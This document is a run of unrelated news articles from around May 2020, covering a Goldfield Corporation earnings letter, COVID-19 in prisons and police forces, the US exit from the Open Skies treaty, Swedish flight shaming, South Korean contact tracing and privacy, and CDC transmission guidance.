We experienced solid growth in 2019 compared to 2018. Revenue increased almost 31% year over year to a record $181 million in 2019 from $138 million in 2018 resulting from improved results in both real estate development and electrical construction operations. Electrical construction revenue in 2019 improved approximately 23% year over year due to increases in project work under both master and non-master service agreements. Specifically, in 2019 we experienced growth in transmission project activity in both the Southeast and Texas-Southwest regions, combined with service line expansion in the Texas-Southwest and mid-Atlantic regions. Additionally, net income increased to $6.7 million from $5 million, fueled by revenue growth and improved margins. Finally, earnings per share improved to $0.27 from $0.20.

Story continues

In 2019 Goldfield had another year of strong safety performance, taking a proactive approach with a Zero Incident accident prevention policy. We are very proud to be a member of the OSHA Electrical Transmission & Distribution Partnership, a formal collaboration of industry stakeholders including premier electrical contractors, OSHA, EEI, IBEW, NECA, working together to improve safety for all workers.

We entered 2020 with a record backlog and a strong balance sheet. Our results for the first quarter of 2020 also included improved electrical construction revenue and margin compared to the first quarter of 2019.

At the end of the first quarter 2020, electrical construction total backlog more than doubled to a near record $473 million, from $208 million one year ago, providing opportunity for growth across multiple service lines over several years. Additionally, work under recently awarded MSAs began to ramp up in the second quarter, which we believe will significantly enhance 2020 results.

We remain committed to the safety and the well-being of employees during the COVID-19 pandemic. To date, our operations have not been materially affected. We have proactively taken measures to mitigate the spread of the virus and are continuing to monitor the impact of the pandemic. We believe we are prepared to react to changes that we may encounter. Importantly, we continue to deliver our commitment to our shareholders by executing projects and securing future work. We cannot predict with any certainty the future effects of this virus on our operations. However, we believe the critical infrastructure services we provide and the nature of our principal customers and business operations will provide relative stability during this current period of economic uncertainty.

Looking forward, the strategies which helped us to achieve our 2019 results should continue to serve us well in 2020 and beyond. We believe our rigorous focus on operating efficiencies, maintaining a well-qualified work force and the strength of our long-standing customer relationships provide a solid trajectory for strong performance. National and regional initiatives to prioritize infrastructure projects and ensure grid reliability remain strong. Additionally, our expansion into substation and distribution services, award of new MSAs, securing of major project awards and strong backlog are expected to have a material positive effect on our results in the second quarter and throughout 2020. This accomplishment, combined with our strong balance sheet and successful efforts to expand our target market, should provide the opportunity for continued growth in revenue and shareholder value. We look forward to the rest of 2020 with confidence.

We appreciate the support of The Goldfield Corporation stockholders over the years and are grateful to our employees who are dedicated to moving Goldfield forward.

____________________________

(1) Represents Non-GAAP Financial Measure - The non-GAAP financial measures used in this earnings release are more fully described in the accompanying supplemental data and reconciliation of the non-GAAP financial measures to the reported GAAP measures. The EBITDA non-GAAP measure in this press release and on The Goldfield Corporations website is provided to enable investors and analysts to evaluate the Companys performance excluding the effects of certain items that impact the comparability of operating results between reporting periods and compare the Companys operating results with those of its competitors. EBITDA should be used to supplement, and not in lieu of, results prepared in conformity with GAAP. Because not all companies use identical calculations, the presentations of EBITDA and Backlog may not be comparable to other similarly-titled measures of other companies. The Backlog non-GAAP financial measure in this press release enables management to more effectively forecast our future capital needs and results and better identify future operating trends that may not otherwise be apparent. The Company believes this measure is also useful for investors in forecasting our future results and comparing us to our competitors. While the Company believes that our methodology of calculation is appropriate, such methodology may not be comparable to that employed by some other companies.

About Goldfield

Goldfield is a leading provider of electrical construction services engaged in the construction of electrical infrastructure for the utility industry and industrial customers, primarily in the Southeast, mid-Atlantic and Texas-Southwest regions of the United States. To a lesser extent, Goldfield is also engaged in real estate operations focused on the development of residential properties on the east coast of Central Florida.

For additional information on our results, please refer to our filings with the Securities and Exchange Commission which can be found on the Companys website at http://www.goldfieldcorp.com.

Forward-Looking Statements

This press release includes forward-looking statements within the meaning of the safe harbor provision of the Private Securities Litigation Reform Act of 1995 throughout this document. You can identify these statements by forward-looking words such as may, will, expect, anticipate, believe, estimate, plan, and continue or similar words. We have based these statements on our current expectations about future events. Although we believe that our expectations reflected in or suggested by our forward-looking statements are reasonable, we cannot assure you that these expectations will be achieved. Our actual results may differ materially from what we currently expect. Factors that may affect the results of our operations include, among others: the level of construction activities by public utilities; the concentration of revenue from a limited number of utility customers; the loss of one or more significant customers; the timing and duration of construction projects for which we are engaged; our ability to estimate accurately with respect to fixed price construction contracts; and heightened competition in the electrical construction field, including intensification of price competition. Other factors that may affect the results of our operations include, among others: adverse weather; natural disasters; global pandemics; effects of climate changes; changes in generally accepted accounting principles; ability to obtain necessary permits from regulatory agencies; our ability to maintain or increase historical revenue and profit margins; general economic conditions, both nationally and in our region; adverse legislation or regulations; availability of skilled construction labor and materials and material increases in labor and material costs; and our ability to obtain additional and/or renew financing. Other important factors which could cause our actual results to differ materially from the forward-looking statements in this press release are detailed in the Companys Risk Factors and Managements Discussion and Analysis of Financial Condition and Results of Operation sections of our Annual Report on Form 10-K and Goldfields other filings with the Securities and Exchange Commission, which are available on Goldfields website: http://www.goldfieldcorp.com . We may not update these forward-looking statements, even in the event that our situation changes in the future, except as required by law.

For further information, please contact:

The Goldfield Corporation

Kristine Walczak

T: 312-898-3072

kwalczak@effectivecorpcom.com
Australian potato farmers are outraged to discover a $1billion COVID-19 assistance package given to European growers could result in a flood of French fries into the market from overseas.

An industry representative body for vegetable and potato growers, AUSVEG, said an influx of about 2.6million tonnes of excess potatoes into Australia would lock farmers out of the fast-food industry.

The two biggest potato processors, McCain Food and Simplot, have been working with AUSVEG alongside other companies to address the issue and urge the government to step in and protect Australian farmers.

An industry representative body for vegetable and potato growers, AUSVEG, said an influx of about 2.6million tonnes of excess potatoes into Australia would lock farmers out of the fast-food industry

Growers claim one European potato processor has already set up a distribution operation in preparation for a wave of french fries hitting the market.

AUSVEG chief executive, James Whiteside, said a flood of overseas products would severely impact the domestic market at a time when it is already struggling with a drop in demand due to the coronavirus.

'On top of the unprecedented impact of the COVID-19 pandemic, Australian potato growers already face significant challenges to their businesses due to issues such as the recent drought, water access and ironically the wettest harvest in Tasmania in recent history,' Mr Whiteside said

'This pandemic has highlighted the importance to Australia of having secure and local food supply chains.

'Industries such as the Australian processing potato industry, which are vibrant and profitable in normal times, must be protected from dumped European product if the government is serious about food security.'

The two biggest potato processors, McCain Food and Simplot, and other companies have been working with AUSVEG to address the issue and urge the government to step in and protect Australian farmers

It is understood the government advised AUSVEG to gather further evidence and pursue the issue through the Anti-Dumping Commission.

'We are not aware of any compelling evidence at this time to back-up these claims, but are continuing to discuss the matter with AUSVEG,' Trade Minister Simon Birmingham told The Australian Financial Review.

Farmers fear it would be too late to stop the imports from Europe if they go through the Anti-Dumping Commission.

This comes after tensions between China and Australia following the government's push for an investigation into the origins of the coronavirus.

In what has been interpreted as a reaction to the proposed investigation, China suspended beef imports from four major Australian meat-works.

China also imposed an 80 per cent tariff on Australian barely on Tuesday, which is yet another blow to the local industry.




Haiti - COVID-19 : The virus enters the national penitentiary at least 10 confirmed cases





Inspector General Charles Nazaire Noel, of the Directorate of Penitentiary Administration (DAP) less than 10 days after denying rumors suggesting the existence of confirmed cases of Covid-19 at the national penitentiary https://www.haitilibre.com/en/news-30766-haiti-news-zapping.html , while about fifty prisoners suffered from fever, confirmed on Thursday May 21 that the Covid-19 was now between the walls of the national penitentiary, despite all the efforts deployed so that it doesn't happen.



It should be noted that out of a sample of 12 prisoners from the group suffering from fever, 10 were tested positive, results which had been known since May 15 but which were not released until Thursday, May 21.



Following these results, Charles Nazaire Noel said he had asked the Ministry of Public Health to screen 3,555 prisoners from the National Penitentiary to prevent the spread of the disease, stressing that all prison staff will also be tested. The Ministry says it has no problem conducting this massive screening operation, which will be carried out in the coming days by group of 50 prisoners.



See also :

https://www.haitilibre.com/en/news-30766-haiti-news-zapping.html



PI/ HaitiLibre


















RTHK: US to quit Open Skies surveillance treaty

The United States said on Thursday it would withdraw from the 35-nation Open Skies treaty allowing unarmed surveillance flights over member countries, the Donald Trump administration's latest move to pull the country out of a major global treaty.

The administration said Russia had repeatedly violated the pact's terms. Senior officials said the pullout would formally take place in six months, but US President Donald Trump held out the possibility that Russia could come into compliance.

"I think we have a very good relationship with Russia. But Russia didn't adhere to the treaty. So until they adhere, we will pull out," Trump told reporters.

His decision deepens doubts about whether Washington will seek to extend the 2010 New Start accord, which imposes the last remaining limits on US and Russian deployments of strategic nuclear arms to no more than 1,550 each. It expires in February.

Trump has repeatedly called for China to join the United States and Russia in talks on an arms control accord to replace New Start. China, estimated to have about 300 nuclear weapons, has repeatedly rejected Trump's proposal.

White House national security adviser Robert O'Brien told Fox News Channel later on Thursday that he did not expect the United States to leave the New Start accord.

Nato allies and other countries like Ukraine had pressed Washington not to leave the Open Skies Treaty, whose unarmed overflights are aimed at bolstering confidence and providing members forewarning of surprise military attacks.

In Moscow, RIA state news agency quoted Russian Deputy Foreign Minister Alexander Grushko as saying that Russia had not violated the treaty and nothing prevented the continuation of talks on technical issues that Washington calls violations.

The Open Skies decision followed a six-month review in which officials found multiple instances of Russian refusal to comply with the treaty.

Last year, the administration pulled the United States out of the Intermediate-range Nuclear Forces Treaty with Russia.

A senior administration said US officials had begun talks in recent days with Russian officials about a new round of nuclear arms negotiations to "begin crafting the next generation of nuclear arms control measures". (Reuters)

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
Karnataka govt revises guidelines for testing, quarantine and isolation: Check here

SC directs states to reach out to 10,000 kids orphaned due to Covid-19, pay compensation

India logs over 3.17 lakh new Covid cases in last 24 hours; daily positivity rate up at 16.41 per cent

COVID-19 fatalities may be much more than what is being reported

New AI-based test uses X-rays to detect Covid in a few minutes

COVID-19: 278 police personnel test positive in 48 hours in Maharashtra

India

oi-Briti Roy Barman

Mumbai, May 22: 278 police personnel in Maharashtra have tested positive for COVID-19 in the last 48 hours.

The total number of positive cases in Maharashtra Police is now 1,666 including 1,177 active cases, 473 recovered and 16 deaths.

In the last 48 hours, a number of 278 Maharashtra Police personnel are reported to have contracted coronavirus.

Lockdown 4.0: Maharashtra divided into red and non-red zones; Here's what's open, What's closed

Meanwhile, 1,12,008 cases have been registered under IPC 188 in Maharashtra so far during the nationwide lockdown.

In the last 48 hours, 278 police personnel have tested positive for #COVID19. The total number of positive cases in Maharashtra Police is now 1,666 including 1,177 active cases, 473 recovered and 16 deaths: Maharashtra Police pic.twitter.com/7b3gpCQm7S  ANI (@ANI) May 22, 2020

PM Modi announces Rs 1000 crore immediate relief for cyclone-hit West Bengal | Oneindia News

823 people have been arrested for attacking police in the time of the lockdown.

Also, a total of 69,046 vehicles have been seized for violating the rules.

Meanwhile, Maharashtra continues to be the worst hit state in the country with 41,642 positive cases following more than 1,500 deaths.

Further, the state is going through the extended lockdown that will remain in force till May 31 as a precautionary measure to curb the spread of coronavirus.
Deputy chief minister Dinesh Sharma on Thursday suggested the use of television to take education to students in rural pockets in order to continue education amid Covid-19 pandemic.

We all are looking for new ways to educate our youngsters in these troubling times. We trying various means and methods, said Sharma said while addressing a webinar organised by higher education department of the state on Thursday.

The higher education department has suggested me to look into the use of Doordarshan in imparting education to students living in rural pockets who dont have smartphones, he said while insisting that these were unimaginable times and out of the box initiatives were needed to overcome challenges.

I feel very proud that online teaching is being used to teach students. Such efforts made by our teachers must continue, Sharma said.

The importance of sanitization and ways to do it must also become a part of our education. Students must know about these things, he added.

The deputy CM also stressed on the need for imparting employment-oriented education to students.

The higher education department has made some efforts in these directions but there is a need to push forward these initiatives, Sharma said.

The webinar titled, Covid 19: Way ahead in education was attended by several educationists, including vice chancellors of universities and other officials. The session was anchored by principal secretary higher education Monika Garg.

She stressed on the need to think out of the box.

There is a need to re look into all aspects of education and the ways we can change it according to what is required in these times. For this, we all must think hard and think out of the box, she said.

While most education institutes are continuing with their academic work though online classes, Garg suggested the way examination are conducted must also change.

MM Pant, former VC IGNOU, said, Once the Covid-19 crisis is over we must look for next practices in education by thinking beyond the existing best practices in education to take on new challenges.

Former director of IIT-Kanpur Sanjay G Dhande and VC of Gautam Buddha University BP Sharma also presented their views.
Cardiologist and member of Doctors for the Environment Australia Dr Arnagretta Hunter wants climate change listed as a cause of death

Researchers are calling for climate change to be listed as an official cause of death for people affected by the bushfires.

Australia endured one of the worst bushfire seasons the country has ever seen this year, with thousands of homes destroyed and 33 people killed.

But medical researchers from the Australian National University and the University of Technology Sydney say the death toll should be far higher.

Cardiologist and member of Doctors for the Environment Australia Dr Arnagretta Hunter said the figures ignored the deaths relating to the hazardous air that clogged towns and cities for months.

However, critics have called the group 'climate alarmists' who are simply pushing for more government funding.

NSW Rural Fire Service crews fight the Gospers Mountain Fire as it impacts a structure at Bilpin, in the Blue Mountains, west of Sydney, New South Wales in December

Australia endured one of the worst bushfire seasons the country has ever seen this year, with thousands of homes destroyed and 33 people killed (Pictured: A house destroyed by fire in Narbethong, north of Melbourne)

Sydneysiders were forced to wear face masks as they made their morning commute from December 2019 as thick smoke from the bushfires swamped the city.

Dr Hunter said the smoke was just as deadly as the fires as people died of asthma attacks, heart attacks or lung failure as a result.

'Climate change is the greatest health challenge we face in Australia, even after we recover from the coronavirus pandemic,' she told The Guardian.

'Our last summer has given us a serious lesson in the influence of environmental factors on our health and wellbeing. As temperatures rise in Australia, we predict increasing morbidity and mortality, particularly in the climate-vulnerable parts of northern Australia.'

She said climate change is a killer and should be acknowledged on death certificates.

Wearing hardware masks (pictured, on a man in Sydney) can block even the smallest particles from entering your nose and mouth. PM2.5 particles can enter the lungs of animals or humans.

A woman covers her face (right) as she rides a Sydney ferry as the city struggles under a blanket of dangerously polluted smoke

'We know the summer bushfires were a consequence of extraordinary heat and drought, and people who died during the bushfires were not just those fighting fires  many Australians had early deaths due to smoke exposure,' she told the Daily Telegraph.

However, critics have slammed the researchers as 'climate alarmists'.

Institute of Public Affairs research director Daniel Wild said the group were 'inflating figures to push governments to provide more climate funding to academics like themselves'.

'University researchers should be using their taxpayer funds to help get the more than one million Australians who have lost their job over the past two months back into a job, rather than engaging in more inaccurate climate alarmism.'

He said an Australian study published two years ago found most temperature-related deaths were due to cold rather than excessive heat.
When Cy-Fair ISD students left their classrooms for spring break, they had no idea it would be the last time they would enter the classroom for the rest of the school year. After COVID-19 came to the Houston area, all school districts closed their campuses and began to instruct students online.

For graduating seniors Brooke Krolczyk and Julianna Lozano, the day before spring break was the last time they would sit in a class for the rest of their high school career.

CELEBRATING SENIORS: Cy-Fair ISD details graduation process during COVID-19 pandemic

At first I was kind of questioning whether or not we would go back because I wasnt really that concerned about it, Bridgeland High School senior Krolczyk said. Once I realized that we werent going back I was a little more worried about finishing my senior year and experiencing all of the traditions, like prom, that everyone else gets to experience.

Cy-Fair ISD graduations are scheduled for the first week in June and will be held outdoors at the Cy-Fair FCU Stadium with COVID-19 precautions in place.

Krolczyk and Lozano plan to attend Texas A&M University and Blinn College respectively but have both had their senior years negatively affected by COVID-19.

Lozano said the pandemic caused her family to lose money on a steer they purchased for the Houston Rodeo, which was canceled the same week as in-person classes. This would have been her first time showing an animal at the Rodeo. Krolczyk, who participates in rodeo for UIL, said her competitions have been rescheduled for a later date.

ON HOUSTONCHRONICLE.COM: Houston's graduating class of 2020 looks to the future after coronavirus derailed their senior year rites of passage

I did not expect this, I dont think anyone really expected it, Cypress Woods High School Senior Lozano said. Im really devastated and disappointed because I never got to finish out the year. Prom was canceled, graduation kept moving back and forth and now its outside, really early in the morning and we have to wear masks.

Although she was able to connect with her friends by phone and over the internet, Lozano said she missed out on the usual senior year activities. Lozano also said her grades may have suffered due to the challenge of adjusting to an online learning environment.

The curriculum is not a lot but (it was) definitely harder because I cannot learn online, Lozano said. I have to be in a classroom. It just felt really overwhelming. Its quite a bit of work and if you dont do it then youre definitely going to fail.

Krolczyk, who is a part of the first graduating class of Bridgeland High School, said she was already used to using online platforms like Google Classroom for her dual credit classes, and that the quality of those classes remained relatively unchanged after in-person classes were canceled.

My high school classes had a lot less work, which is kind of nice, so its just been easy, she said. Everyone asked questions, it wasnt anything too hard. Its been different for sure.

Even with the challenges caused by COVID-19 and a less than ideal setup for graduation, both Lozano and Krolczyk said they are looking forward to the future rather than looking back at the past.

I am determined to get ready for college, Lozano said. Im so ready to go to college. Its just an emotional roller coaster honestly, I think Im just going to mentally prepare myself to actually go off to college and be on my own because Ive never done that before.

Krolczyk said she looks forward to joining the rodeo team for Texas A&M University and moving in with members this fall; ready to meet new people, even if she does not get to participate in Fish Camp and New Student Conference  Texas A&M traditions  due to COVID-19 restrictions.

Im ready to meet new people and start a new chapter in my life, Krolczyk said.

chevall.pryce@chron.com
STOCKHOLM  Swedish Infrastructure Minister Tomas Eneroth tried to pierce the gloom of the coronavirus pandemic with some positive spin about a green reboot of his countrys transport sector.

We are aiming for a climate-smart restart when it is time to travel again! he tweeted last month as he released a report from Swedens transport administration about the prospects for new sleeper trains to Germany and Belgium.

It's part of a broader rethink of Sweden's transport links as the country tries to lower its dependence on flying  spurred by the industry's collapse during the pandemic  and instead shift to greener transport methods like trains and ferries. However, those more traditional links have been neglected for years, and won't be quick to rebuild.

The transport report, in the works since last July, looked at whether the state could negotiate contracts to run trains to Cologne and on to Brussels, and said that it probably could.

The problem for Eneroth was that the report also said such trains wouldnt run until 2022 at the earliest, and a raft of hurdles remained ahead of the project including uncooperative German authorities and a lack of rail capacity.

In an interview, Eneroth defended his countrys record on rail, saying it remained very ambitious, but acknowledged that more must be done across Europe to reach the goals on climate change set in Paris in 2015.

The coming years will be a test for not only Sweden but the European Union, he told POLITICO.

Trains and planes

For Swedens vocal flight-shamers, who inspired a global anti-flying movement, the report into sleeper trains was the latest sign that even this relatively climate crisis-aware country  the home of Greta Thunberg and one of Europes most successful Green Parties  is moving too slowly to counter global warming, and it could be about to miss a post-coronavirus window of opportunity to pick up the pace of change.

A proposed high-speed rail network linking Swedens three main cities has regularly become mired in political and expert disagreement and ferry services across the North Sea to the U.K. havent run since 2006.

Story continues

More must be done, said Maja Rosen, who heads a campaign against flying called We Stay on the Ground.

The coronavirus is adding to the pressure to rethink the country's dependence on flying.

The pandemic has shown us that it is possible to stay on the ground in a crisis and we need to avoid all the flights that we can in the future as well, Rosen said.

Until the 1980s, travel to the Continent by train from Sweden was a popular option, even for business purposes, as trains were comfortable and flying was expensive, the Swedish transport administrations report notes. Travel by boat to the U.K. was also common, despite a crossing time of around 26 hours between Gothenburg and Newcastle.

The advent of budget airlines radically changed the picture as they drove down prices while opening up new routes. Ferry services across the North Sea were cut and Swedish investment in rail flatlined.

The first signs of a backlash against flying began around two years ago.

In a much-cited piece from January 2018, the writer Jens Liljestrand questioned the rationale behind flying to see exotic environments that the very act of flying was destroying.

It is a lifestyle beyond all idiocy, he wrote.

It's a sentiment that's increasingly widely shared, spurred by Thunberg, who traveled to the U.N. in New York by sailboat last year to avoid flying.

Hang your head and fly

The Swedish ideas of flight shaming, or flygskam, and train boasting, or tagskryt, have spread far beyond Swedens borders.

They've had an impact in Sweden, where flight passenger numbers fell 4 percent in 2019 while a private train company has begun running a sleeper service to Berlin.

The pandemic has turned that slight decline into a rout; Sweden had been especially hard hit, possibly because of its controversial policy of not locking down the country. SAS reported that its scheduled capacity for April was down 95 percent compared with the same month last year; only a limited number of flights to Sweden and Norway were still available. The airline, which has received a state guarantee for a 137 million credit line, expects normal conditions to resume only in 2022.

Eneroth said he is in discussions with the aviation industry about the use of less environmentally damaging fuels, among other things, and noted that the ultimate goal for the sector is electrification  something which is still a long way off.

He is also seeking to introduce a system that will allow Swedes to easily compare the environmental impact of different travel options when they buy tickets.

How the post-pandemic picture develops could serve as a litmus test for Europes appetite to engage with the climate crisis and the sacrifices that countering it could involve.

The Swedish coalition government, which includes the Green Party, introduced a tax on flights that is now 62 krona (6.33) per passenger for a flight to Germany, for example.

It has also pushed a plan for a new high-speed railway linking Stockholm, Gothenburg and Malmo, but has struggled for the broad parliamentary support needed for such an expensive and long-term project. In a report published in February, academics from the Royal Institute of Technology said Sweden should go ahead with the plan.

It is about sustainable mobility for people and goods in the future, the researchers said.

However, others say the benefits of the rail expansion have been overdone and the economic and environmental costs of building the new network mean it should be shelved.

For Europe, the outcome of these types of domestic debates could decide whether the Continent turns the corner on carbon emissions or settles for "business as usual."

The Commissions leader in this area, Green Deal chief Frans Timmermans, has encouraged the imposition of conditions on financial support to companies during the pandemic as a way to boost the transition to a low-carbon economy.

If we really want to come out of [the pandemic] stronger and future-oriented, we absolutely need to make the transformation toward a green society, he told a videoconference of the European Parliaments environment committee in late April.

Things will not go back to how they were, he said. So we must make sure that we give our society the impulse to reform in the direction that would create a sustainable society.
Violent acts caused by a lot of Hong Kongs radical forces before the epidemic led the Chinese government to make the decision that no matter how difficult it is, and no matter what the backlash would be, it will resolutely introduce the national security law, said Shi Yinhong, a professor of international relations at Renmin University in Beijing. The manner in which it was pushed through shows how determined China is, he added.
New Delhi, May 22 : A prison superintendent in Tamil Nadu has been allegedly termed as the "hit-man of the jail department" by the Iranian Consulate General, which said it was forced to move the Supreme Court to rescue its two citizens, lodged in jail in a Narcotic Drugs and Psychotropic Substances (NDPS) Act case.

A bench of Chief Justice S.A. Bobde and Justices A.S. Bopanna and Hrishikesh Roy said counsel for the petitioner seeks permission to withdraw this petition with liberty to approach the Madras High Court and permission is granted. The writ petition is dismissed as withdrawn, added the top court.

The Iranian Consulate General's plea said: "The Superintendent is able to topple all investigations and enquiry easily because naturally no one dares to depose against his atrocities committed under swathe of duty. The present convict being a foreigner has somehow gained guts to have approached the petitioner (Consulate of Iran)..." The plea, filed through advocate on record Rajiv Raheja, contended that prison Superintendent Senthil Kumar has committed various prison atrocities and has been summoned by the top court in a contempt case, and by the High Court for various inappropriate actions. "Criminal complaints filed by the victims of his torture are pending before various courts and criminal investigation on these grave charges are also pending," said the plea.

The plea said Mosavi Masood and Mohammad Zaffari, both Iranian nationals, are currently lodged in Puzhal Central Jail in Chennai, and they fear for their lives from other local prisoners who are under the influence of Kumar.

The plea argued said that "it is reliably learnt that the casualties occasioned by him upon the jail inmates in jail style atrocious treatments are innumerable".

The Iranian Consulate General urged the top court to produce the prisoners and direct the authorities to keep them safe till the process of repatriation is completed and they are safely handed over. The petition also sought that both the Iranian inmates should be necessary amenities to them as per the "Nelson Mandela Rules" which are the United Nations Standard Minimum Rules for the Treatment of Prisoners.

The two Iranian nationals were arrested by the Narcotics Control Bureau (NCB) in Tamil Nadu's Sivaganga district for manufacturing methamphetamine in March 2013. On March 9, 2018, an NDPS Special Court had convicted them to 20 years of rigorous imprisonment.

The plea cited in December 2018, Iranian Consul General to India Mohammad Haghbin Ghomi had met Chief Minister Edappadi K. Palaniswami and conveyed the grievances of the two Iranian convicts.

Additionally, the plea also sought judicial inquiry on the Prison Superintendent (along with his suspension until completion of inquiry) as well as a compensation amounting to Rs 1 crore each to the families of Masood and Zaffrani.
By Jason Lim





That he was a gay man in Korea posed a problem when he became Patient Zero in post-lockdown Korea. Gays are still very much marginalized in Korean society, forcing them to live hidden lives relegated to specific areas and services that cater specifically to their social needs. Coming out is usually not something that's willingly done as an empowering expression of one's identity; it's something to be avoided at all costs.



So, when the authorities called on gay club goers to voluntarily test for COVID-19, they weren't asking for merely a health check. They were threatening the person's social construct that he had built up over several decades. In other words, they were threatening a forced coming out.



To understand the threat perception better, this is how intrusive Korean authorities would get to trace all those potentially infected by the virus. According to a Pulse article dated May 12, 2020, "Seoul City government has secured a list of 5,517 people that visited five clubs and bars in the multicultural area Itaewon from April 24 to May 6. Of them, the city has made direct calls to 2,405 people and completed inquiry. Also, of 3,112 people that the city failed to reach by phone, it has sent text messages to 1,130 people, advising them to receive tests.



"The city government said it is in the process of verifying personal information of the remaining 1,982 people via data from mobile base stations and club card payments. Yongsan police station has also secured closed-circuit television screens to support the epidemiological investigation."



This is standard operating procedure. For everyone who tests positive, everyone associated with that person  whether it's work, family, friends, etc.  would also be notified and asked to be tested themselves. In short, your private life is no longer private to those closest to you. In this case, your sexual orientation is literally headlining the national news. You just lost agency on the deepest secret of your identity in the most public way possible and have to deal with the aftermath.



The COVID crisis, unlike anything else, has highlighted the trade-off decision that societies have to make between privacy and public health. Each society will make its own choice, in line with the local cultural norms and historical background.



Brian Kim, writing in the Law Fare, authored a very informative article titled, "Lessons for America: How South Korean Authorities Used Law to Fight the Coronavirus," that compares the legal underpinning that allows Korean authorities to be so invasive in an effort to control a public health crisis. Korea's bad experience dealing with the Middle East Respiratory Syndrome (MERS) in 2015 resulted in a set of legal tools that specifically targets pandemics.



According to Kim, Korean laws "equip the minister of health with extensive legal authority to collect private data, without a warrant, from both already confirmed and potential patients expressly mandate that private telecommunications companies and the National Police Agency share the location information of patients  and [of] persons likely to be infected." This is in addition to Article 76-2(1), which require "medical institutions, pharmacies, corporations, organizations, and individuals" to provide "information concerning patients  and persons feared to be infected."



Just imagine whether the U.S. could pass similarly intrusive laws. In fact, recent public debates over COVID tracking apps and immunity passports have already drawn the ire of American Civil Liberties Union (ACLU) that writes, "As tempting as immunity passports may be for policymakers who want a quick fix to restart economic activity in the face of widespread suffering from the COVID-19 pandemic, they present both public health and civil rights concerns that cannot be overlooked Any immunity passport system endangers privacy rights by creating a new surveillance infrastructure to collect health data."



On the other side of this political spectrum are the armed protesters who decry the forced lock-down and basically share the same concern as ACLU over government encroachment into their personal freedoms.



That's why it's somewhat disingenuous to point to Korea and shame the U.S. for not doing as well. One can argue over the merits of these positions in the midst of the current crisis.



But the main point is that the U.S. is not Korea. You can't lift and shift the Korean solution to the U.S. and expect it to work just as well. Kim writes, "Most of the highly specific levers available to the South Korean government have no comparable analogue in American federal law. This difference is by design, rooted in deeper American constitutional instincts about civil liberties and federalism."



This doesn't mean that the U.S. can't do a much better job  it certainly can and must come up with a better, more cohesive plan. But ultimately, it will have to be a U.S. plan suited to the peculiar nature of American society. And that's what we are seeing emerging separately from the 50 states that make up the union. We will just have to wait and see how the U.S. will ultimately fare and whether the human cost of American exceptionalism will be too much to bear.





Jason Lim (jasonlim@msn.com) is a Washington, D.C.-based expert on innovation, leadership and organizational culture.


The coronavirus primarily spreads from person to person and not easily from a contaminated surface. That's the takeaway from the Centers for Disease Control and Prevention, which this month updated its "How COVID-19 Spreads" website.

The revised guidance now states, in 17-point font, "The virus spreads easily between people." It also notes that the coronavirus, which causes the disease covid-19, "is spreading very easily and sustainably between people."

The CDC made another giant font change to its website, clarifying what sources are not major risks. Under a new heading "The virus does not spread easily in other ways" the agency explains that touching contaminated objects or surfaces does not appear to be a significant mode of transmission. The same is true for exposure to infected animals.

CDC spokeswoman Kristen Nordlund said Thursday that the revisions were the product of an internal review and "usability testing."

"Our transmission language has not changed," Nordlund said. "Covid-19 spreads mainly through close contact from person to person."

The virus travels through the droplets a person produces when talking or coughing, the CDC website says. An individual does not need to feel sick or show symptoms to spread the submicroscopic virus. Close contact means within about 6 feet, the distance at which a sneeze flings heavy droplets.

Example after example have shown the microbe's affinity for density. The virus has spread easily in nursing homes, prisons, cruise ships and meatpacking plants - places where many people are living or working in closer proximity. A recent CDC report described how a choir practice in Washington state in March became a super-spreader event when one sick person infected 52 others.

"Direct contact with people has the highest likelihood of getting infected - being close to an infected person, rather than accepting a newspaper or a FedEx guy dropping off a box," said virologist Vincent Munster, a researcher at the Virus Ecology Section of Rocky Mountain Laboratories, the National Institute of Allergy and Infectious Diseases facility in Hamilton, Montana.

Munster and his colleagues showed in laboratory experiments that the virus remained potentially viable on cardboard for up to 24 hours and on plastic and metal surfaces for up to three days. But the virus typically degrades within hours when outside a host.

The change to the CDC website, without formal announcement or explanation, concerns Angela Rasmussen, a virologist at the Columbia University School of Public Health.

"A persistent problem in this pandemic has been lack of clear messaging from governmental leadership, and this is another unfortunate example of that trend," she said. "It could even have a detrimental effect on hand hygiene and encourage complacency about physical distancing or other measures."

Right-wing social media exploited the website tweaks this week. Fox News commentator Sean Hannity breathlessly promoted a "breaking" report about the change, as though the CDC had discovered new information.

But the previous version of the website, archived on May 1, includes the same statement about surfaces as the current version: "It may be possible that a person can get COVID-19 by touching a surface or object that has the virus on it and then touching their own mouth, nose, or possibly their eyes. This is not thought to be the main way the virus spreads, but we are still learning more about this virus."

Rasmussen said the new CDC language will not alter her habits. "I wash my hands after handling packages and wipe down shared surfaces with household disinfectant. In my opinion that's all that is necessary to reduce risk," she said.

And if people find comfort in "quarantining" their mail or wiping down plastic packaging with disinfectant, "there's no harm in doing that," Rasmussen said. "Just don't wipe down food with disinfectant."
WASHINGTON, May 22 (Xinhua) -- It's hoped that the international community would be wise enough to "embrace China with respect and an offered hand of friendship" rather than "a sense of rivalry, suspicion and fear," a former U.S. state legislator has said.

Greg Cusack, a former member of the Iowa House of Representatives, spoke "very positively" of China's efforts to help other countries fight the COVID-19 pandemic, and of the country's vision of building a community with a shared future for mankind.

"Wouldn't a 'community of shared future for humankind' be great? That was the kind of dream that fueled my efforts throughout my life," Cusack told Xinhua in a recent interview.

Earlier in March in an article published by Shanghai Daily earlier, he noted that the pandemic reminded people of "how we are intimately linked as human beings despite our being of different nationalities."

"How I wish we could extend this lesson to other fields as well: we all have so much to gain by working together for common goods rather than engaging in futile quarreling," wrote the politician.

He also believed that what China has done over the past 50 years is "one of the greatest success stories of which I know," and the world need to "learn a few things from China."

"What China has done in the past 50 years is incredible, moving from a largely rural society of great poverty and suffering from decades of war to already substantially becoming a 'moderately prosperous' society," he noted.

Specifically, Cusack mentioned that China's pledge and determination to reduce poverty has impressed him greatly.

"One of the most impressive things about China's goals has been how its leaders have publicly pledged to severely reduce, if not entirely eliminate, poverty within just a few years," he said.

"In such a society ... I believe that far more of the people will genuinely prosper, attaining the realization of what Thomas Jefferson called the pursuit of happiness," he added.

Overall, the former official pointed out that China's "government-directed approach to tackling poverty and encouraging wide-spread development" should be studied by other countries.

In terms of global issues, he hopes China will continue to encourage the rest of the world to build the kind of working partnership "we desperately need if we are to have a chance" in combatting global warming.

As China's annual "two sessions" are underway, Cusack said he follows the subjects discussed in the meetings and is curious to see "how recent developments are handled and what resolution or action steps come from them."

The "two sessions" are the country's key annual political sessions of the National People's Congress and the National Committee of the Chinese People's Political Consultative Conference, which have been postponed until this week because of the COVID-19 epidemic.

